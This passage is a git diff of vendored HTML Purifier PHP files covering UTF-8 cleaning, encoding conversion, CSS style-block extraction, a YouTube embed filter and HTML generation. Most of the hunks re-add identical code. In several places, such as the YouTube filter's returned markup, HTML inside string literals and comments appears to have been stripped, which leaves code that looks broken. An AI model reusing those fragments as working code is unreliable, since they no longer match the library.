simultaneously expand and restrict the set of allowed characters. + * + * @param string $str The string to clean + * @param bool $force_php + * @return string + * + * @note Just for reference, the non-SGML code points are 0 to 31 and + * 127 to 159, inclusive. However, we allow code points 9, 10 + * and 13, which are the tab, line feed and carriage return + * respectively. 128 and above the code points map to multibyte + * UTF-8 representations. + * + * @note Fallback code adapted from utf8ToUnicode by Henri Sivonen and + * hsivonen@iki.fi at under the + * LGPL license. Notes on what changed are inside, but in general, + * the original code transformed UTF-8 text into an array of integer + * Unicode codepoints. Understandably, transforming that back to + * a string would be somewhat expensive, so the function was modded to + * directly operate on the string. However, this discourages code + * reuse, and the logic enumerated here would be useful for any + * function that needs to be able to understand UTF-8 characters. + * As of right now, only smart lossless character encoding converters + * would need that, and I'm probably not going to implement them. + */ + public static function cleanUTF8($str, $force_php = false) + { + // UTF-8 validity is checked since PHP 4.3.5 + // This is an optimization: if the string is already valid UTF-8, no + // need to do PHP stuff. 99% of the time, this will be the case. + if (preg_match( + '/^[\x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]*$/Du', + $str + )) { + return $str; + } + + $mState = 0; // cached expected number of octets after the current octet + // until the beginning of the next UTF8 character sequence + $mUcs4 = 0; // cached Unicode character + $mBytes = 1; // cached expected number of octets in the current sequence + + // original code involved an $out that was an array of Unicode + // codepoints. Instead of having to convert back into UTF-8, we've + // decided to directly append valid UTF-8 characters onto a string + // $out once they're done. $char accumulates raw bytes, while $mUcs4 + // turns into the Unicode code point, so there's some redundancy. + + $out = ''; + $char = ''; + + $len = strlen($str); + for ($i = 0; $i < $len; $i++) { + $in = ord($str[$i]); + $char .= $str[$i]; // append byte to char + if (0 == $mState) { + // When mState is zero we expect either a US-ASCII character + // or a multi-octet sequence. + if (0 == (0x80 & ($in))) { + // US-ASCII, pass straight through. + if (($in <= 31 || $in == 127) && + !($in == 9 || $in == 13 || $in == 10) // save \r\t\n + ) { + // control characters, remove + } else { + $out .= $char; + } + // reset + $char = ''; + $mBytes = 1; + } elseif (0xC0 == (0xE0 & ($in))) { + // First octet of 2 octet sequence + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x1F) << 6; + $mState = 1; + $mBytes = 2; + } elseif (0xE0 == (0xF0 & ($in))) { + // First octet of 3 octet sequence + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x0F) << 12; + $mState = 2; + $mBytes = 3; + } elseif (0xF0 == (0xF8 & ($in))) { + // First octet of 4 octet sequence + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x07) << 18; + $mState = 3; + $mBytes = 4; + } elseif (0xF8 == (0xFC & ($in))) { + // First octet of 5 octet sequence. + // + // This is illegal because the encoded codepoint must be + // either: + // (a) not the shortest form or + // (b) outside the Unicode range of 0-0x10FFFF. + // Rather than trying to resynchronize, we will carry on + // until the end of the sequence and let the later error + // handling code catch it. + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 0x03) << 24; + $mState = 4; + $mBytes = 5; + } elseif (0xFC == (0xFE & ($in))) { + // First octet of 6 octet sequence, see comments for 5 + // octet sequence. + $mUcs4 = ($in); + $mUcs4 = ($mUcs4 & 1) << 30; + $mState = 5; + $mBytes = 6; + } else { + // Current octet is neither in the US-ASCII range nor a + // legal first octet of a multi-octet sequence. + $mState = 0; + $mUcs4 = 0; + $mBytes = 1; + $char = ''; + } + } else { + // When mState is non-zero, we expect a continuation of the + // multi-octet sequence + if (0x80 == (0xC0 & ($in))) { + // Legal continuation. + $shift = ($mState - 1) * 6; + $tmp = $in; + $tmp = ($tmp & 0x0000003F) << $shift; + $mUcs4 |= $tmp; + + if (0 == --$mState) { + // End of the multi-octet sequence. mUcs4 now contains + // the final Unicode codepoint to be output + + // Check for illegal sequences and codepoints. + + // From Unicode 3.1, non-shortest form is illegal + if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || + ((3 == $mBytes) && ($mUcs4 < 0x0800)) || + ((4 == $mBytes) && ($mUcs4 < 0x10000)) || + (4 < $mBytes) || + // From Unicode 3.2, surrogate characters = illegal + (($mUcs4 & 0xFFFFF800) == 0xD800) || + // Codepoints outside the Unicode range are illegal + ($mUcs4 > 0x10FFFF) + ) { + + } elseif (0xFEFF != $mUcs4 && // omit BOM + // check for valid Char unicode codepoints + ( + 0x9 == $mUcs4 || + 0xA == $mUcs4 || + 0xD == $mUcs4 || + (0x20 <= $mUcs4 && 0x7E >= $mUcs4) || + // 7F-9F is not strictly prohibited by XML, + // but it is non-SGML, and thus we don't allow it + (0xA0 <= $mUcs4 && 0xD7FF >= $mUcs4) || + (0xE000 <= $mUcs4 && 0xFFFD >= $mUcs4) || + (0x10000 <= $mUcs4 && 0x10FFFF >= $mUcs4) + ) + ) { + $out .= $char; + } + // initialize UTF8 cache (reset) + $mState = 0; + $mUcs4 = 0; + $mBytes = 1; + $char = ''; + } + } else { + // ((0xC0 & (*in) != 0x80) && (mState != 0)) + // Incomplete multi-octet sequence. + // used to result in complete fail, but we'll reset + $mState = 0; + $mUcs4 = 0; + $mBytes = 1; + $char =''; + } + } + } + return $out; + } + + /** + * Translates a Unicode codepoint into its corresponding UTF-8 character. + * @note Based on Feyd's function at + * , + * which is in public domain. + * @note While we're going to do code point parsing anyway, a good + * optimization would be to refuse to translate code points that + * are non-SGML characters. However, this could lead to duplication. + * @note This is very similar to the unichr function in + * maintenance/generate-entity-file.php (although this is superior, + * due to its sanity checks). + */ + + // +----------+----------+----------+----------+ + // | 33222222 | 22221111 | 111111 | | + // | 10987654 | 32109876 | 54321098 | 76543210 | bit + // +----------+----------+----------+----------+ + // | | | | 0xxxxxxx | 1 byte 0x00000000..0x0000007F + // | | | 110yyyyy | 10xxxxxx | 2 byte 0x00000080..0x000007FF + // | | 1110zzzz | 10yyyyyy | 10xxxxxx | 3 byte 0x00000800..0x0000FFFF + // | 11110www | 10wwzzzz | 10yyyyyy | 10xxxxxx | 4 byte 0x00010000..0x0010FFFF + // +----------+----------+----------+----------+ + // | 00000000 | 00011111 | 11111111 | 11111111 | Theoretical upper limit of legal scalars: 2097151 (0x001FFFFF) + // | 00000000 | 00010000 | 11111111 | 11111111 | Defined upper limit of legal scalar codes + // +----------+----------+----------+----------+ + + public static function unichr($code) + { + if ($code > 1114111 or $code < 0 or + ($code >= 55296 and $code <= 57343) ) { + // bits are set outside the "valid" range as defined + // by UNICODE 4.1.0 + return ''; + } + + $x = $y = $z = $w = 0; + if ($code < 128) { + // regular ASCII character + $x = $code; + } else { + // set up bits for UTF-8 + $x = ($code & 63) | 128; + if ($code < 2048) { + $y = (($code & 2047) >> 6) | 192; + } else { + $y = (($code & 4032) >> 6) | 128; + if ($code < 65536) { + $z = (($code >> 12) & 15) | 224; + } else { + $z = (($code >> 12) & 63) | 128; + $w = (($code >> 18) & 7) | 240; + } + } + } + // set up the actual character + $ret = ''; + if ($w) { + $ret .= chr($w); + } + if ($z) { + $ret .= chr($z); + } + if ($y) { + $ret .= chr($y); + } + $ret .= chr($x); + + return $ret; + } + + /** + * @return bool + */ + public static function iconvAvailable() + { + static $iconv = null; + if ($iconv === null) { + $iconv = function_exists('iconv') && self::testIconvTruncateBug() != self::ICONV_UNUSABLE; + } + return $iconv; + } + + /** + * Convert a string to UTF-8 based on configuration. + * @param string $str The string to convert + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + */ + public static function convertToUTF8($str, $config, $context) + { + $encoding = $config->get('Core.Encoding'); + if ($encoding === 'utf-8') { + return $str; + } + static $iconv = null; + if ($iconv === null) { + $iconv = self::iconvAvailable(); + } + if ($iconv && !$config->get('Test.ForceNoIconv')) { + // unaffected by bugs, since UTF-8 support all characters + $str = self::unsafeIconv($encoding, 'utf-8//IGNORE', $str); + if ($str === false) { + // $encoding is not a valid encoding + trigger_error('Invalid encoding ' . $encoding, E_USER_ERROR); + return ''; + } + // If the string is bjorked by Shift_JIS or a similar encoding + // that doesn't support all of ASCII, convert the naughty + // characters to their true byte-wise ASCII/UTF-8 equivalents. + $str = strtr($str, self::testEncodingSupportsASCII($encoding)); + return $str; + } elseif ($encoding === 'iso-8859-1') { + $str = utf8_encode($str); + return $str; + } + $bug = HTMLPurifier_Encoder::testIconvTruncateBug(); + if ($bug == self::ICONV_OK) { + trigger_error('Encoding not supported, please install iconv', E_USER_ERROR); + } else { + trigger_error( + 'You have a buggy version of iconv, see https://bugs.php.net/bug.php?id=48147 ' . + 'and http://sourceware.org/bugzilla/show_bug.cgi?id=13541', + E_USER_ERROR + ); + } + } + + /** + * Converts a string from UTF-8 based on configuration. + * @param string $str The string to convert + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + * @note Currently, this is a lossy conversion, with unexpressable + * characters being omitted. + */ + public static function convertFromUTF8($str, $config, $context) + { + $encoding = $config->get('Core.Encoding'); + if ($escape = $config->get('Core.EscapeNonASCIICharacters')) { + $str = self::convertToASCIIDumbLossless($str); + } + if ($encoding === 'utf-8') { + return $str; + } + static $iconv = null; + if ($iconv === null) { + $iconv = self::iconvAvailable(); + } + if ($iconv && !$config->get('Test.ForceNoIconv')) { + // Undo our previous fix in convertToUTF8, otherwise iconv will barf + $ascii_fix = self::testEncodingSupportsASCII($encoding); + if (!$escape && !empty($ascii_fix)) { + $clear_fix = array(); + foreach ($ascii_fix as $utf8 => $native) { + $clear_fix[$utf8] = ''; + } + $str = strtr($str, $clear_fix); + } + $str = strtr($str, array_flip($ascii_fix)); + // Normal stuff + $str = self::iconv('utf-8', $encoding . '//IGNORE', $str); + return $str; + } elseif ($encoding === 'iso-8859-1') { + $str = utf8_decode($str); + return $str; + } + trigger_error('Encoding not supported', E_USER_ERROR); + // You might be tempted to assume that the ASCII representation + // might be OK, however, this is *not* universally true over all + // encodings. So we take the conservative route here, rather + // than forcibly turn on %Core.EscapeNonASCIICharacters + } + + /** + * Lossless (character-wise) conversion of HTML to ASCII + * @param string $str UTF-8 string to be converted to ASCII + * @return string ASCII encoded string with non-ASCII character entity-ized + * @warning Adapted from MediaWiki, claiming fair use: this is a common + * algorithm. If you disagree with this license fudgery, + * implement it yourself. + * @note Uses decimal numeric entities since they are best supported. + * @note This is a DUMB function: it has no concept of keeping + * character entities that the projected character encoding + * can allow. We could possibly implement a smart version + * but that would require it to also know which Unicode + * codepoints the charset supported (not an easy task). + * @note Sort of with cleanUTF8() but it assumes that $str is + * well-formed UTF-8 + */ + public static function convertToASCIIDumbLossless($str) + { + $bytesleft = 0; + $result = ''; + $working = 0; + $len = strlen($str); + for ($i = 0; $i < $len; $i++) { + $bytevalue = ord($str[$i]); + if ($bytevalue <= 0x7F) { //0xxx xxxx + $result .= chr($bytevalue); + $bytesleft = 0; + } elseif ($bytevalue <= 0xBF) { //10xx xxxx + $working = $working << 6; + $working += ($bytevalue & 0x3F); + $bytesleft--; + if ($bytesleft <= 0) { + $result .= "&#" . $working . ";"; + } + } elseif ($bytevalue <= 0xDF) { //110x xxxx + $working = $bytevalue & 0x1F; + $bytesleft = 1; + } elseif ($bytevalue <= 0xEF) { //1110 xxxx + $working = $bytevalue & 0x0F; + $bytesleft = 2; + } else { //1111 0xxx + $working = $bytevalue & 0x07; + $bytesleft = 3; + } + } + return $result; + } + + /** No bugs detected in iconv. */ + const ICONV_OK = 0; + + /** Iconv truncates output if converting from UTF-8 to another + * character set with //IGNORE, and a non-encodable character is found */ + const ICONV_TRUNCATES = 1; + + /** Iconv does not support //IGNORE, making it unusable for + * transcoding purposes */ + const ICONV_UNUSABLE = 2; + + /** + * glibc iconv has a known bug where it doesn't handle the magic + * //IGNORE stanza correctly. In particular, rather than ignore + * characters, it will return an EILSEQ after consuming some number + * of characters, and expect you to restart iconv as if it were + * an E2BIG. Old versions of PHP did not respect the errno, and + * returned the fragment, so as a result you would see iconv + * mysteriously truncating output. We can work around this by + * manually chopping our input into segments of about 8000 + * characters, as long as PHP ignores the error code. If PHP starts + * paying attention to the error code, iconv becomes unusable. + * + * @return int Error code indicating severity of bug. + */ + public static function testIconvTruncateBug() + { + static $code = null; + if ($code === null) { + // better not use iconv, otherwise infinite loop! + $r = self::unsafeIconv('utf-8', 'ascii//IGNORE', "\xCE\xB1" . str_repeat('a', 9000)); + if ($r === false) { + $code = self::ICONV_UNUSABLE; + } elseif (($c = strlen($r)) < 9000) { + $code = self::ICONV_TRUNCATES; + } elseif ($c > 9000) { + trigger_error( + 'Your copy of iconv is extremely buggy. Please notify HTML Purifier maintainers: ' . + 'include your iconv version as per phpversion()', + E_USER_ERROR + ); + } else { + $code = self::ICONV_OK; + } + } + return $code; + } + + /** + * This expensive function tests whether or not a given character + * encoding supports ASCII. 7/8-bit encodings like Shift_JIS will + * fail this test, and require special processing. Variable width + * encodings shouldn't ever fail. + * + * @param string $encoding Encoding name to test, as per iconv format + * @param bool $bypass Whether or not to bypass the precompiled arrays. + * @return Array of UTF-8 characters to their corresponding ASCII, + * which can be used to "undo" any overzealous iconv action. + */ + public static function testEncodingSupportsASCII($encoding, $bypass = false) + { + // All calls to iconv here are unsafe, proof by case analysis: + // If ICONV_OK, no difference. + // If ICONV_TRUNCATE, all calls involve one character inputs, + // so bug is not triggered. + // If ICONV_UNUSABLE, this call is irrelevant + static $encodings = array(); + if (!$bypass) { + if (isset($encodings[$encoding])) { + return $encodings[$encoding]; + } + $lenc = strtolower($encoding); + switch ($lenc) { + case 'shift_jis': + return array("\xC2\xA5" => '\\', "\xE2\x80\xBE" => '~'); + case 'johab': + return array("\xE2\x82\xA9" => '\\'); + } + if (strpos($lenc, 'iso-8859-') === 0) { + return array(); + } + } + $ret = array(); + if (self::unsafeIconv('UTF-8', $encoding, 'a') === false) { + return false; + } + for ($i = 0x20; $i <= 0x7E; $i++) { // all printable ASCII chars + $c = chr($i); // UTF-8 char + $r = self::unsafeIconv('UTF-8', "$encoding//IGNORE", $c); // initial conversion + if ($r === '' || + // This line is needed for iconv implementations that do not + // omit characters that do not exist in the target character set + ($r === $c && self::unsafeIconv($encoding, 'UTF-8//IGNORE', $r) !== $c) + ) { + // Reverse engineer: what's the UTF-8 equiv of this byte + // sequence? This assumes that there's no variable width + // encoding that doesn't support ASCII. + $ret[self::unsafeIconv($encoding, 'UTF-8//IGNORE', $c)] = $c; + } + } + $encodings[$encoding] = $ret; + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php index cb3474e3be..f12ff13a35 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php @@ -1,48 +1,48 @@ -table = unserialize(file_get_contents($file)); - } - - /** - * Retrieves sole instance of the object. - * @param bool|HTMLPurifier_EntityLookup $prototype Optional prototype of custom lookup table to overload with. - * @return HTMLPurifier_EntityLookup - */ - public static function instance($prototype = false) - { - // no references, since PHP doesn't copy unless modified - static $instance = null; - if ($prototype) { - $instance = $prototype; - } elseif (!$instance) { - $instance = new HTMLPurifier_EntityLookup(); - $instance->setup(); - } - return $instance; - } -} - -// vim: et sw=4 sts=4 +table = unserialize(file_get_contents($file)); + } + + /** + * Retrieves sole instance of the object. + * @param bool|HTMLPurifier_EntityLookup $prototype Optional prototype of custom lookup table to overload with. + * @return HTMLPurifier_EntityLookup + */ + public static function instance($prototype = false) + { + // no references, since PHP doesn't copy unless modified + static $instance = null; + if ($prototype) { + $instance = $prototype; + } elseif (!$instance) { + $instance = new HTMLPurifier_EntityLookup(); + $instance->setup(); + } + return $instance; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php index 5af24c2020..66f70b0fc0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php @@ -1,341 +1,341 @@ - blocks from input HTML, cleans them up - * using CSSTidy, and then places them in $purifier->context->get('StyleBlocks') - * so they can be used elsewhere in the document. - * - * @note - * See tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php for - * sample usage. - * - * @note - * This filter can also be used on stylesheets not included in the - * document--something purists would probably prefer. Just directly - * call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS() - */ -class HTMLPurifier_Filter_ExtractStyleBlocks extends HTMLPurifier_Filter -{ - /** - * @type string - */ - public $name = 'ExtractStyleBlocks'; - - /** - * @type array - */ - private $_styleMatches = array(); - - /** - * @type csstidy - */ - private $_tidy; - - /** - * @type HTMLPurifier_AttrDef_HTML_ID - */ - private $_id_attrdef; - - /** - * @type HTMLPurifier_AttrDef_CSS_Ident - */ - private $_class_attrdef; - - /** - * @type HTMLPurifier_AttrDef_Enum - */ - private $_enum_attrdef; - - public function __construct() - { - $this->_tidy = new csstidy(); - $this->_tidy->set_cfg('lowercase_s', false); - $this->_id_attrdef = new HTMLPurifier_AttrDef_HTML_ID(true); - $this->_class_attrdef = new HTMLPurifier_AttrDef_CSS_Ident(); - $this->_enum_attrdef = new HTMLPurifier_AttrDef_Enum( - array( - 'first-child', - 'link', - 'visited', - 'active', - 'hover', - 'focus' - ) - ); - } - - /** - * Save the contents of CSS blocks to style matches - * @param array $matches preg_replace style $matches array - */ - protected function styleCallback($matches) - { - $this->_styleMatches[] = $matches[1]; - } - - /** - * Removes inline - // we must not grab foo in a font-family prop). - if ($config->get('Filter.ExtractStyleBlocks.Escaping')) { - $css = str_replace( - array('<', '>', '&'), - array('\3C ', '\3E ', '\26 '), - $css - ); - } - return $css; - } -} - -// vim: et sw=4 sts=4 + blocks from input HTML, cleans them up + * using CSSTidy, and then places them in $purifier->context->get('StyleBlocks') + * so they can be used elsewhere in the document. + * + * @note + * See tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php for + * sample usage. + * + * @note + * This filter can also be used on stylesheets not included in the + * document--something purists would probably prefer. Just directly + * call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS() + */ +class HTMLPurifier_Filter_ExtractStyleBlocks extends HTMLPurifier_Filter +{ + /** + * @type string + */ + public $name = 'ExtractStyleBlocks'; + + /** + * @type array + */ + private $_styleMatches = array(); + + /** + * @type csstidy + */ + private $_tidy; + + /** + * @type HTMLPurifier_AttrDef_HTML_ID + */ + private $_id_attrdef; + + /** + * @type HTMLPurifier_AttrDef_CSS_Ident + */ + private $_class_attrdef; + + /** + * @type HTMLPurifier_AttrDef_Enum + */ + private $_enum_attrdef; + + public function __construct() + { + $this->_tidy = new csstidy(); + $this->_tidy->set_cfg('lowercase_s', false); + $this->_id_attrdef = new HTMLPurifier_AttrDef_HTML_ID(true); + $this->_class_attrdef = new HTMLPurifier_AttrDef_CSS_Ident(); + $this->_enum_attrdef = new HTMLPurifier_AttrDef_Enum( + array( + 'first-child', + 'link', + 'visited', + 'active', + 'hover', + 'focus' + ) + ); + } + + /** + * Save the contents of CSS blocks to style matches + * @param array $matches preg_replace style $matches array + */ + protected function styleCallback($matches) + { + $this->_styleMatches[] = $matches[1]; + } + + /** + * Removes inline + // we must not grab foo in a font-family prop). + if ($config->get('Filter.ExtractStyleBlocks.Escaping')) { + $css = str_replace( + array('<', '>', '&'), + array('\3C ', '\3E ', '\26 '), + $css + ); + } + return $css; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php index b90ddf7517..276d8362fa 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/YouTube.php @@ -1,65 +1,65 @@ -]+>.+?' . - '(?:http:)?//www.youtube.com/((?:v|cp)/[A-Za-z0-9\-_=]+).+?#s'; - $pre_replace = '\1'; - return preg_replace($pre_regex, $pre_replace, $html); - } - - /** - * @param string $html - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return string - */ - public function postFilter($html, $config, $context) - { - $post_regex = '#((?:v|cp)/[A-Za-z0-9\-_=]+)#'; - return preg_replace_callback($post_regex, array($this, 'postFilterCallback'), $html); - } - - /** - * @param $url - * @return string - */ - protected function armorUrl($url) - { - return str_replace('--', '--', $url); - } - - /** - * @param array $matches - * @return string - */ - protected function postFilterCallback($matches) - { - $url = $this->armorUrl($matches[1]); - return '' . - '' . - '' . - ''; - } -} - -// vim: et sw=4 sts=4 +]+>.+?' . + '(?:http:)?//www.youtube.com/((?:v|cp)/[A-Za-z0-9\-_=]+).+?#s'; + $pre_replace = '\1'; + return preg_replace($pre_regex, $pre_replace, $html); + } + + /** + * @param string $html + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + */ + public function postFilter($html, $config, $context) + { + $post_regex = '#((?:v|cp)/[A-Za-z0-9\-_=]+)#'; + return preg_replace_callback($post_regex, array($this, 'postFilterCallback'), $html); + } + + /** + * @param $url + * @return string + */ + protected function armorUrl($url) + { + return str_replace('--', '--', $url); + } + + /** + * @param array $matches + * @return string + */ + protected function postFilterCallback($matches) + { + $url = $this->armorUrl($matches[1]); + return '' . + '' . + '' . + ''; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php index addc23e9e4..eb56e2dfa2 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Generator.php @@ -1,286 +1,286 @@ - tags. - * @type bool - */ - private $_scriptFix = false; - - /** - * Cache of HTMLDefinition during HTML output to determine whether or - * not attributes should be minimized. - * @type HTMLPurifier_HTMLDefinition - */ - private $_def; - - /** - * Cache of %Output.SortAttr. - * @type bool - */ - private $_sortAttr; - - /** - * Cache of %Output.FlashCompat. - * @type bool - */ - private $_flashCompat; - - /** - * Cache of %Output.FixInnerHTML. - * @type bool - */ - private $_innerHTMLFix; - - /** - * Stack for keeping track of object information when outputting IE - * compatibility code. - * @type array - */ - private $_flashStack = array(); - - /** - * Configuration for the generator - * @type HTMLPurifier_Config - */ - protected $config; - - /** - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - */ - public function __construct($config, $context) - { - $this->config = $config; - $this->_scriptFix = $config->get('Output.CommentScriptContents'); - $this->_innerHTMLFix = $config->get('Output.FixInnerHTML'); - $this->_sortAttr = $config->get('Output.SortAttr'); - $this->_flashCompat = $config->get('Output.FlashCompat'); - $this->_def = $config->getHTMLDefinition(); - $this->_xhtml = $this->_def->doctype->xml; - } - - /** - * Generates HTML from an array of tokens. - * @param HTMLPurifier_Token[] $tokens Array of HTMLPurifier_Token - * @return string Generated HTML - */ - public function generateFromTokens($tokens) - { - if (!$tokens) { - return ''; - } - - // Basic algorithm - $html = ''; - for ($i = 0, $size = count($tokens); $i < $size; $i++) { - if ($this->_scriptFix && $tokens[$i]->name === 'script' - && $i + 2 < $size && $tokens[$i+2] instanceof HTMLPurifier_Token_End) { - // script special case - // the contents of the script block must be ONE token - // for this to work. - $html .= $this->generateFromToken($tokens[$i++]); - $html .= $this->generateScriptFromToken($tokens[$i++]); - } - $html .= $this->generateFromToken($tokens[$i]); - } - - // Tidy cleanup - if (extension_loaded('tidy') && $this->config->get('Output.TidyFormat')) { - $tidy = new Tidy; - $tidy->parseString( - $html, - array( - 'indent'=> true, - 'output-xhtml' => $this->_xhtml, - 'show-body-only' => true, - 'indent-spaces' => 2, - 'wrap' => 68, - ), - 'utf8' - ); - $tidy->cleanRepair(); - $html = (string) $tidy; // explicit cast necessary - } - - // Normalize newlines to system defined value - if ($this->config->get('Core.NormalizeNewlines')) { - $nl = $this->config->get('Output.Newline'); - if ($nl === null) { - $nl = PHP_EOL; - } - if ($nl !== "\n") { - $html = str_replace("\n", $nl, $html); - } - } - return $html; - } - - /** - * Generates HTML from a single token. - * @param HTMLPurifier_Token $token HTMLPurifier_Token object. - * @return string Generated HTML - */ - public function generateFromToken($token) - { - if (!$token instanceof HTMLPurifier_Token) { - trigger_error('Cannot generate HTML from non-HTMLPurifier_Token object', E_USER_WARNING); - return ''; - - } elseif ($token instanceof HTMLPurifier_Token_Start) { - $attr = $this->generateAttributes($token->attr, $token->name); - if ($this->_flashCompat) { - if ($token->name == "object") { - $flash = new stdClass(); - $flash->attr = $token->attr; - $flash->param = array(); - $this->_flashStack[] = $flash; - } - } - return '<' . $token->name . ($attr ? ' ' : '') . $attr . '>'; - - } elseif ($token instanceof HTMLPurifier_Token_End) { - $_extra = ''; - if ($this->_flashCompat) { - if ($token->name == "object" && !empty($this->_flashStack)) { - // doesn't do anything for now - } - } - return $_extra . 'name . '>'; - - } elseif ($token instanceof HTMLPurifier_Token_Empty) { - if ($this->_flashCompat && $token->name == "param" && !empty($this->_flashStack)) { - $this->_flashStack[count($this->_flashStack)-1]->param[$token->attr['name']] = $token->attr['value']; - } - $attr = $this->generateAttributes($token->attr, $token->name); - return '<' . $token->name . ($attr ? ' ' : '') . $attr . - ( $this->_xhtml ? ' /': '' ) //
    v.
    - . '>'; - - } elseif ($token instanceof HTMLPurifier_Token_Text) { - return $this->escape($token->data, ENT_NOQUOTES); - - } elseif ($token instanceof HTMLPurifier_Token_Comment) { - return ''; - } else { - return ''; - - } - } - - /** - * Special case processor for the contents of script tags - * @param HTMLPurifier_Token $token HTMLPurifier_Token object. - * @return string - * @warning This runs into problems if there's already a literal - * --> somewhere inside the script contents. - */ - public function generateScriptFromToken($token) - { - if (!$token instanceof HTMLPurifier_Token_Text) { - return $this->generateFromToken($token); - } - // Thanks - $data = preg_replace('#//\s*$#', '', $token->data); - return ''; - } - - /** - * Generates attribute declarations from attribute array. - * @note This does not include the leading or trailing space. - * @param array $assoc_array_of_attributes Attribute array - * @param string $element Name of element attributes are for, used to check - * attribute minimization. - * @return string Generated HTML fragment for insertion. - */ - public function generateAttributes($assoc_array_of_attributes, $element = '') - { - $html = ''; - if ($this->_sortAttr) { - ksort($assoc_array_of_attributes); - } - foreach ($assoc_array_of_attributes as $key => $value) { - if (!$this->_xhtml) { - // Remove namespaced attributes - if (strpos($key, ':') !== false) { - continue; - } - // Check if we should minimize the attribute: val="val" -> val - if ($element && !empty($this->_def->info[$element]->attr[$key]->minimized)) { - $html .= $key . ' '; - continue; - } - } - // Workaround for Internet Explorer innerHTML bug. - // Essentially, Internet Explorer, when calculating - // innerHTML, omits quotes if there are no instances of - // angled brackets, quotes or spaces. However, when parsing - // HTML (for example, when you assign to innerHTML), it - // treats backticks as quotes. Thus, - // `` - // becomes - // `` - // becomes - // - // Fortunately, all we need to do is trigger an appropriate - // quoting style, which we do by adding an extra space. - // This also is consistent with the W3C spec, which states - // that user agents may ignore leading or trailing - // whitespace (in fact, most don't, at least for attributes - // like alt, but an extra space at the end is barely - // noticeable). Still, we have a configuration knob for - // this, since this transformation is not necesary if you - // don't process user input with innerHTML or you don't plan - // on supporting Internet Explorer. - if ($this->_innerHTMLFix) { - if (strpos($value, '`') !== false) { - // check if correct quoting style would not already be - // triggered - if (strcspn($value, '"\' <>') === strlen($value)) { - // protect! - $value .= ' '; - } - } - } - $html .= $key.'="'.$this->escape($value).'" '; - } - return rtrim($html); - } - - /** - * Escapes raw text data. - * @todo This really ought to be protected, but until we have a facility - * for properly generating HTML here w/o using tokens, it stays - * public. - * @param string $string String data to escape for HTML. - * @param int $quote Quoting style, like htmlspecialchars. ENT_NOQUOTES is - * permissible for non-attribute output. - * @return string escaped data. - */ - public function escape($string, $quote = null) - { - // Workaround for APC bug on Mac Leopard reported by sidepodcast - // http://htmlpurifier.org/phorum/read.php?3,4823,4846 - if ($quote === null) { - $quote = ENT_COMPAT; - } - return htmlspecialchars($string, $quote, 'UTF-8'); - } -} - -// vim: et sw=4 sts=4 + tags. + * @type bool + */ + private $_scriptFix = false; + + /** + * Cache of HTMLDefinition during HTML output to determine whether or + * not attributes should be minimized. + * @type HTMLPurifier_HTMLDefinition + */ + private $_def; + + /** + * Cache of %Output.SortAttr. + * @type bool + */ + private $_sortAttr; + + /** + * Cache of %Output.FlashCompat. + * @type bool + */ + private $_flashCompat; + + /** + * Cache of %Output.FixInnerHTML. + * @type bool + */ + private $_innerHTMLFix; + + /** + * Stack for keeping track of object information when outputting IE + * compatibility code. + * @type array + */ + private $_flashStack = array(); + + /** + * Configuration for the generator + * @type HTMLPurifier_Config + */ + protected $config; + + /** + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + */ + public function __construct($config, $context) + { + $this->config = $config; + $this->_scriptFix = $config->get('Output.CommentScriptContents'); + $this->_innerHTMLFix = $config->get('Output.FixInnerHTML'); + $this->_sortAttr = $config->get('Output.SortAttr'); + $this->_flashCompat = $config->get('Output.FlashCompat'); + $this->_def = $config->getHTMLDefinition(); + $this->_xhtml = $this->_def->doctype->xml; + } + + /** + * Generates HTML from an array of tokens. + * @param HTMLPurifier_Token[] $tokens Array of HTMLPurifier_Token + * @return string Generated HTML + */ + public function generateFromTokens($tokens) + { + if (!$tokens) { + return ''; + } + + // Basic algorithm + $html = ''; + for ($i = 0, $size = count($tokens); $i < $size; $i++) { + if ($this->_scriptFix && $tokens[$i]->name === 'script' + && $i + 2 < $size && $tokens[$i+2] instanceof HTMLPurifier_Token_End) { + // script special case + // the contents of the script block must be ONE token + // for this to work. + $html .= 